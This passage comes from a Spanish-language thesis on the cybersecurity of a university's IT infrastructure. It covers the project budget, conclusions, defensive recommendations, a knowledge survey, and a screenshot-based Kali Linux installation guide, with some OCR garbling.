herramientas que facilitan y aseguran los procesos que realizan en sus respectivos entornos de

trabajo.

12.3. IMPACTO ECONOMICOS

Si bien es cierto en esta oportunidad el proyecto de investigacion no genera ningin costo de
implementacion para la institucion, puesto que se lo realiza con herramientas de software libre
el cual estan a disposicion en el internet. Esta herramienta de software libre nos da
oportunidad de realizar nuestros propios andlisis de wulnerabilidades para evaluar los

estandares de seguridad de los sistemas informaticos.

13. PRESUPUESTOS PARA LA ELABORACION DEL PROYECTO

13.1. Gastos directos

Tabla 26: Gastos Directos

Descripcion Cantidad: Valor Unitario ($): | Valor Total ($):
Hojas de papel Bond 1 Resmas 4 4,00
:]r:grrgzsmnes a blanco y 70 0.05 350
Impresiones a color 30 0,25 7,50
Copias 80 0,05 4,00
Esferos 1 0,50 0,50
Anillados 3 5,00 15,00
Conexion Internet 4 Meses 20,00 80,00
USB/Flash 1 8,00 8,00
Computador 1 Uso diario 50,00
Total Gastos Directos: $ 28,85 $ 172,50

Fuente: Los autores

13.2. Gatos indirectos
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Tabla 27: Gastos Indirectos

Descripcion: Valor:
Movilidad $ 50,00
Total: $ 50,00

Fuente: Los autores

13.3. Gastos totales del proyecto

Tabla 28: Presupuesto Totaldel Proyecto

Gastos: Total:
Gastos Directos $172,50
Gastos Indirectos $ 50,00

10% de Imprevistos $ 20,00
Total Presupuesto: $ 242,50

Fuente: Los autores

14. CONCLUSIONES Y RECOMENDACIONES

14.1. CONCLUSIONES

e De manera  general, el andlisis a la infraestructura tecnologica de la universidad
Técnica de Cotopaxi se lo realizo en base a una virtualizacion del sistema operativo Kali
Linux instalado en una maquina fisica. Esto permitiendonos visualizar sus brechas de
seguridad y dandonos el acceso a gran parte de la infraestructura para poder realizar las

pruebas necesarias.

e Los resultados de las pruebas de seguridad informatica que se hizo al personal de
sistemas informaticos. nos permiti6 conocer la falta de conocimiento que tiene en
cuanto a la ciberseguridad. Dejando asi a la institucion vulnerable a todos los riesgos

cibernéticos de informacion vital y privada de la misma.

eCon la finalizacion de nuestro trabajo de investigacion se desea promover y motivar a
la instituciobn en temas de la seguridad informatica y a la vez al departamento de
sistemas tome conciencia sobre posibles riegos que puede sufrir la infraestructura

tecnoldgica de la institucion.
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14.2. RECOMENDACIONES

e Tomar en consideracion los puertos abiertos 0 que escuchan algun tipo de servicio, es
importante habilitar solo los puertos necesarios, tales como los puertos 80 que se utiliza
para permitir la navegacion por internet mediante el protocolo HTTP y el puerto 25 que
queden ser asignado al protocolo de correo SMTP, puerto 21 que se lo utiliza para las
conexiones FTP, estos puestos pueden ser filtrarlos con algin tipo de herramienta, como

un firewall.

e Es importante que la consola de administracion de antivirus mantenga la firma de base
de datos actualizada con un BitDefender que permita bloquear los keylogging y otros

malware.

e En cuanto a las redes Wireless, su autenticacion y trafico generado, se recomienda que
al menos al SSID exclusivo del departamento de T.I. sea blindado con algin otro tipo de

seguridad como puede ser un filtrado mac.

e Para el caso de las wvulnerabilidades web, es importante hacer un recorrido mas extenso
sobre las alarmas encontradas, si bien es cierto no son criticas, pero es importante tomar

en cuenta las recomendaciones dadas por las herramientas utilizadas.
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ENCUESTAS

Tema de investigacion: “Analisis de la Ciberseguridad a la Infraestructura Tecnologica

de la Universidad Técnica De Cotopaxi”

Dirigido a:

Profesionales y Pre-Profesionales de la UTC

Cuestionario sobre la Ciberseguridad Tecnoldgica de la UTC

Objetivo: Recopilar la informacion mediante el cuestionario a los docentes y alumnos Pre

Profesionales para determina la seguridad de la infraestructura tecnologica de la Universidad

Técnica de Cotopaxi.

Datos Generales:

1. Instituciones, categoria, materia, Sexo, provincia,

Institucion: Sector de ubicacion: Categoria: Grado:

Urbana Fiscal []

Rural Particular ]

Sexo: Edad: Conocimiento

urc Masculino E sobre

Femenino Ciberseguridad
Si E
No

conocimientos sobre la Ciberseguridad Informatica

Instrucciones: (por favor margue con una X enla(s) que corresponda)

2. ¢Cudl essu niwel educativo?
Titulo Terminado (Tercer Nivel) [ | Posgrado(Maestria) [ | Diplomado [ ] Doctorado [ |

3. ¢ Tiene usted conocimiento sobre la Ciberseguridad?

Nada ] Poco ] Mucho |:|
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4. ;Sabe usted que es Kali Linux?

S ] A —

5. ¢ Sabe usted qué tipo de Linux es Kali?

Sl — S —

6. ¢ Sabe usted cual es la funcion que cumple Metasploit Framework en Kali Linux?

Sl — L —

7. ¢Cuénto conoce usted sobre ataques phishing?

Nada |:| Poco|:| Mucho ]

8. ¢ Sabe usted cuales son los protocolos de Seguridad Informética?

S N[

9. ¢Estd usted informado acerca de las prevenciones que hay que tener para evitar el acceso de un hacker u

otra_amenaza a un sistema Informético?

si No ]

10. ¢ Cree usted que los sistemas informaticos existentes en la Universidad Técnica de Cotopaxi son seguros?

St ] No [

11. ¢ Conoce usted que es un Sistema de Prevencion (IDS)?

st [ No —

12. ¢ Conoce usted Cual es la funcion de un Firewall

o —1 No —

13. ¢ Tiene usted conocimiento sobre la herramienta SglMap en Kali Linux?

si [ ] No|:I
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MANUAL DE INSTALACION KALI LINUX

1. Seleccionar la imagen 1SO la cual se contiene dentro de la maquina fisica (PC)

File Edit View VM Tabs Help | - | | H@E = |

Library

X
@ Home * ‘
Q_ Type here to search -

@ My Computer Guest ing System
.@.‘ Shared VMs A virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

New Virtual Machine Wizard [

Install from:
© Installer disc:
&% Unidad de DVD RW (D:) v | @
|
|} Connect to a
= \ lemote Server
@ Installer disc image file (iso): |

s C_ALVEIDA Deskiop ok 2015 2amds =
3\, Could not detect which operating system s in this disc image.
You will need to specify which operating system will be installed.
() Iwil install the operating system later.
The virtual machine will be created with a blank hard disk.

) e o)

vmware

2. Seleccionar compatibilidad con sistemas operativos Linux, esto con la finalidad de

gue la instalacion de la herramienta Kali cuente con una infraestructura compatible.

O
File Edit View VM Tabs Help | il | | [Il]‘ = = |
lerar_y X £ Home X |
Q Typehesetosearch i New Virtual Machine Wizard u
(=8 My Computer Select a Guest Operating System
) Shared VMs Which operating system wil be installed on this virtual machine? IC
Guest operating system

(©) Microsoft Windows

onnect to a
mote Server

[C<gak ) [het> ] [ concal ]

vmware

| N
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3. Asignar nombre Kali Linux.

=
File Edit View VM Tabs Help | =l | |0 = = |
Libr: X
il @ Home ‘
New Virtual Machine Wizard =
(= My Computer Name the Virtual Machine
(1 Shared VMs What name would you lie to use for this virtual machine?
Virtual machine name:
Server Kali Linux|
Location:
C:\Users\C_ALMEIDA\Documents\Virtual Machines\Server Kali Li
The default location can be changed at Edit > Preferences.
[ <Back ][ Next> [ cancel |
vmware

4. Asignacion de recursos fisicos de la memoria RAM

7 Hardware
File Edit View VM Tabs Help | o . =2

Library X

0} Home Device Summary Memmf:me - it :
‘ Type hers £ scarch i et i ol e Bl
[ Q tperestoseh -] ‘e e e e
—_—_— Processors
(8] My Computer —

=
(*)New CD/DVD (IDE) Using file C:\Users\C_ALMEL... Memory for this virtual machine:
£F) Shared VMs Network Adapter NAT
USB Controller Present
Wpisplay Auto detect

s4GB
268
1668
8GB Maximum recommended memory
468 3 (Memory swapping may
268 occur beyond this size.)
- 4.6GB
512 MB
256 MB.
128 MB
s MB
2ME

Recommended memory
4GB

O Guest OS recommended minimum

4GB
16 MB

8MB

4MB
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5. Instalacidon de Kali Linux

File Edit View VM Tabs Help

Library X

= [ My Computer
EW Server Kali Linux
@ Shared VMs

“the quieter you become, the more you are able to hear”

Boot menu

Live (amd64 failsafe)

Live (forensic mode)

Live USB Persistence (check kali.org/prst)
Live USB Encrypted Persistence (check kali.org/prst)
Install

Graphical install

Install with speech synthesis

Advanced options

To direct }np\;t to t;\l;VM click inside or press Ctrl+G.

6. Seleccionar el idioma esparfiol a instalar

(=) Server Kali Linux - |
File Edit View VM Tabs Help {9
Liby X
e {2t Home (551 Server Kali Linux
Q, Type here to search v
[ & 81 My Computer KALI
(53! Server Kali Linux
| @ shared s 57 OFTENIIE SECURTY

\ Choose the language to be used for the installation process. The selected language will also be the
default language for the installed system.

Language:

Select a language

Norwegian Nynorsk Norsk nynorsk
Persian o)

Polish Polski
Portuguese Portugués
Portuguese (Brazil) Portugués do Brasil
Punjabi (Gurmukhi) vt
Romanian Romana
Russian Py cckmit
Serbian (Cyrillic) Cpncku
Sinhala Bomng

Slovak Slovencina
Slovenian Slovenscina
Swedish - Svenska

Tagalog - Tagalog [~

| Screenshot | | GoBack Continue l

To direct input to this VM, click inside or press Ctrl+G.



7. Configuracion de usuario y password

File Edit View VM Tabs

Library

My Computer
551 Server Kali Linux
Shared VMs

fTo direct input to this VM, click inside or press Ctrl+G.

Help
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{0} Home

[ Server Kali Linux

KALI

BY OFFENSIVE SECURITY

Configurar usuarios y contrasefas

Necesita definir una contrasena para el superusuario («root»), la cuenta de administracion del sistema.
Podria tener graves consecuencias que un usuario malicioso o un usuario sin la debida cualificacion
tuviera acceso a la cuenta del administrador del sistema, asi que debe tener cuidado y elegir un la
contrasefa para el superusuario que no sea facil de adivinar. No deberia ser una palabra que se
encuentre en el diccionario, o una palabra que pueda asociarse facilmente con usted.

Una buena contrasefa debe contener una mezcla de letras, nameros y signos de puntuacion, y debe
cambiarse regularmente.

La contrasefa del usuario «root» (administrador) no deberia estar en blanco. Si deja este valor en
blanco, entonces se deshabilitara la cuenta de root creara una cuenta de usuario a la que se le daran
permisos para convertirse en usuario administrador utilizando la orden «sudo».

Tenga en cuenta que no podra ver la contrasefia mientras la introduce.
Clave del superusuario:

|o
[] Mostrar la contrasefa en claro

Por favor, introduzca la misma contrasefia de superusuario de nuevo para verificar que la introdujo
correctamente.

Vuelva a introducir la contrasefia para su verificacion:

'eocccccccscccoe
[] Mostrar la contrasefa en claro.

Capturar la pantalla | Retroceder

Continuar

8. Compartir disco virtual donde se instalara

File Edit View VM Tabs Help

la version delsistema operativo

&

Library x

pe

(=] My Computer
551 Server Kali Linux
(P Shared VMs

i To direct input to this VM, click inside or press Ctrl+G.

KALI

BY OFFENSIVE SECURITY

Particionado de discos

Este instalador puede guiarle en el particionado del disco (utilizando distintos esquemas estandar) o, si
lo desea, puede hacerlo de forma manual. Si escoge el sistema de particionado guiado tendra la
oportunidad mas adelante de revisary adaptar los resultados.

Se le preguntara qué disco a utilizar si elige particionado guiado para un disco completo.
Método de particionado:

Guiado - utilizar todo el disco
Guiado - utilizar el disco completo y configurar LVM
Guiado - utilizar todo el disco y configurar LVM cifrado

Manual

Capturar la pantalla Retroceder

Continuar
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9. Seleccion del disco virtual

File Edit View VM Tabs Help

(ORN| Bi§== |

Library

{0} Home (5 Server Kali Linux

My Computer
(59 Server Kali Linux
{5 Shared VMs

KALI

BY OFFENSIVE SECURITY
Particionado de discos

Tenga en cuenta que se borraran todos los datos en el disco que ha seleccionado. Este borrado no se
realizara hasta que confirme que realmente quiere hacer los cambios.
Elija disco a particionar:

SCSI3 (0, (sda) - 53.7 GB VMwar:

Capturar la pantalla

Retroceder Continuar

[To direct input to this VM, click inside or press Ctrl+G.

10. Aplicar configuraciones del d

isco virtual

File Edit View VM Tabs Help &

Library

(5! Server Kali Linux

=) My Computer
(51 Server Kali Linux
(1 Shared VMs

KALI

BY OFFENSIVE SECURITY
Particionado de discos

Se escribiran en los discos todos los cambios indicados a continuacién si continda. Si no lo hace podra
hacer cambios manualmente.

Se han modificado las tablas de particiones de los siguientes dispositivos:
SCSI3(0,0,0) (sda)

Se formatearan las siguientes particiones:
particion #1 de SCSI3 (0,0,0) (sda) como ext4
particion #5 de SCSI3 (0,0,0) (sda) como intercambio
¢Desea escribir los cambios en los discos?

Capturar la pantalla

To direct input to this VM, click inside or press Ctrl+G.




11. Instalacion del sistema operativo Kali

File Edit View VM Tabs Help

Library

1o} Home

(5} Server Kali Linux

Linux

- [ My Computer
(5 Server Kali Linux
() Shared VMs

To direct input to this VM, click inside or press Ctrl+G.

(5] Server Kal Linux VM

File Edit View VM Tabs Help

Library

{0} Home

Configurar el gestor de paquetes

(55! Server Kali Linux

KALI

BY OFFENSIVE SECURITY

. Configurando apt
Descargando fichero 23 de 25 (falta 4min 45s)

My Computer
) Server Kali Linux
(57 Shared VMs

|To direct input to this VM, click inside or press Ctrl+G.

KALI

BY OFFENSIVE SECURITY

Instalar el cargador de arranque GRUB en un disco duro

Ahora debe configurar el sistema recién instalado para que sea arrancable, instalando para ello el
cargador GRUB en un dispositivo del que se pueda arrancar. La forma habitual de hacerlo es instalar
GRUB en el registro principal de arranque («master boot record») del primer disco duro. Si lo prefiere,
puede instalar GRUB en cualquier otro punto del disco duro, en otro disco duro, o incluso en un disquete.

Dispositivo donde instalar el cargador de arranque:

Introducir el dispositivo manualmente
Idev/sda

Capturar la pantalla

Retroceder
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13. Finalizacion de instalacion

File Edit View VM Tabs Help &

Libra
= 10} Home (5! Server Kali Linux

Q Typehereto

My Computer
(57 Server Kali Linux
() Shared VMs

BY OFFENSIVE SECURITY

Terminar la instalacion

Instalacion completada

La instalacion se ha completado. Ahora podra arrancar el nuevo sistema. Asegurese de extraer el
medio de instalacion para que el sistema arranque del disco en lugar de reiniciar la instalacién.

| capturar la pantalla Retroceder Continuar

|To direct input to this VM, click inside or press Ctrl+G.

File Edit View VM Tabs Help

X
{a} Home (5! Server Kali Linux

= [ My Computer
(55! Server Kali Linux Aplicaciones v Lugares v mar 12:06
{5 Shared VMs

Archivos

{To direct input to this VM, click inside or press Ctrl+




